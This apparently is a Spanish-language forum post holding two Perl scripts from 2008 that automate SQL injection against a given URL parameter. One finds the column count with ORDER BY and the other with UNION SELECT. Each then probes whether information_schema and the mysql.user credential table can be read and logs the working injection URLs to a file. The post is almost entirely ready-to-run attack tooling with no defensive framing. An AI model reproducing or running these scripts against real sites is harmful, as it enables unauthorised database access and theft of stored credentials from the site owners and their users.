UTILIZANDO ORDER:
Código:
#!/usr/bin/perl
###########################################################################################
# Busca la cantidad de columnas en una inyeccion MySQL utilizando la sentencia ORDER. ###
# By Login-Root ###
# MSN: no.more@passport.com ###
# Jabber: login-root@x23.eu ###
# E-Mail: login_root@yahoo.com.ar ###
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r ; VenoM ###
# Many thanks to boER, who teach me a little of perl ;D ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG ###
###########################################################################################
use LWP::Simple;
if(!$ARGV[2])
{
print "\n\n## c0ded by Login-Root | 2008 ##";
print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE]\n";
print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n";
exit (1);
}
open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
$column=1;
$count=1;
while ($column <= $ARGV[1])
{
$sql=$ARGV[0]."-1+order+by+".$column."--";
$contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");
if($contenido=~ /mysql_fetch_/ || $contenido=~ /Unknown column/)
{
print "\n[+] Fallo el intento de obtener $column columnas\n";
$column --;
if ($column == 0)
{
$column ++;
}
$sql=$ARGV[0]."-1+order+by+".$column."--";
print "[+] La web tiene $column columnas:\n\n";
print "$sql\n\n";
print WEB "$sql\n";
while ($count < $column)
{
$union.=','.$count;
$count++;
}
print "\n[+] Chequeando si existe Information_Schema...";
$sql=$ARGV[0]."-1+union+all+select+0".$union."+from+information_schema.tables--";
$contenido=get($sql)or die("[-] Imposible obtener Information_Schema\n");
if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
{
print "\n[-] Information_Schema no disponible";
}
else
{
print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
print WEB "$sql\n";
}
print "\n[+] Chequeando si existe MySQL.User...";
$sql=$ARGV[0]."-1+union+all+select+0".$union."+from+mysql.user--";
$contenido=get($sql)or die("[-] Imposible obtener MySQL.User\n");
if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
{
print "\n[-] MySQL.User no disponible\n\n";
}
else
{
print "\n[+] MySQL.User disponible...guardando en $ARGV[2]\n";
print WEB "$sql\n";
}
print "[+] Todo salvado correctamente en $ARGV[2]\n\n";
print "## c0ded by Login-Root | 2008 ##\n\n";
exit (1);
}
else
{
print "\n[!] Sin error al intentar con $column columnas";
$column ++;
}
}
print "\n[-] Imposible encontrar numero de columnas, intentar con mas columnas\n";
exit (1);
Ejemplo:
_______________________________________________________________________________
UTILIZANDO UNION:
Código:
#!/usr/bin/perl
###########################################################################################
# Busca la cantidad de columnas en una inyeccion MySQL utilizando la sentencia UNION. ###
# By Login-Root ###
# MSN: no.more@passport.com ###
# Jabber: login-root@x23.eu ###
# E-Mail: login_root@yahoo.com.ar ###
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r ; VenoM ###
# Many thanks to boER, who teach me a little of perl ;D ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG ###
###########################################################################################
use LWP::Simple;
if(!$ARGV[2])
{
print "\n\n## c0ded by Login-Root | 2008 ##";
print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE]\n";
print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n";
exit (1);
}
open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
$column=0;
while ($column <= $ARGV[1])
{
$union.=','.$column;
if ($column == 0)
{
$union='';
}
$sql=$ARGV[0]."-1+union+all+select+0".$union."--";
$contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");
if($contenido=~ /mysql_fetch_/ || $contenido=~ /The used SELECT statements have a different number of columns/)
{
$column ++;
print "\n[!] Fallo el intento de obtener $column columnas";
}
else
{
$column ++;
print "\n[+] La web posee $column columnas\n\n";
print "$sql\n\n";
print WEB "$sql\n";
print "\n[+] Chequeando si existe Information_Schema...";
$sql=$ARGV[0]."-1+union+all+select+0".$union."+from+information_schema.tables--";
$contenido=get($sql)or die("[-] Imposible obtener Information_Schema\n");
if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
{
print "\n[-] Information_Schema no disponible";
}
else
{
print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
print WEB "$sql\n";
}
print "\n[+] Chequeando si existe MySQL.User...";
$sql=$ARGV[0]."-1+union+all+select+0".$union."+from+mysql.user--";
$contenido=get($sql)or die("[-] Imposible obtener MySQL.User\n");
if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
{
print "\n[-] MySQL.User no disponible\n\n";
}
else
{
print "\n[+] MySQL.User disponible...guardando en $ARGV[2]\n";
print WEB "$sql\n";
}
print "[+] Todo salvado correctamente en $ARGV[2]\n\n";
print "## c0ded by Login-Root | 2008 ##\n\n";
exit (1);
}
}
print "\n[-] Imposible encontrar numero de columnas, intentar con mas columnas\n";
exit (1);
Ejemplo:
Saludos.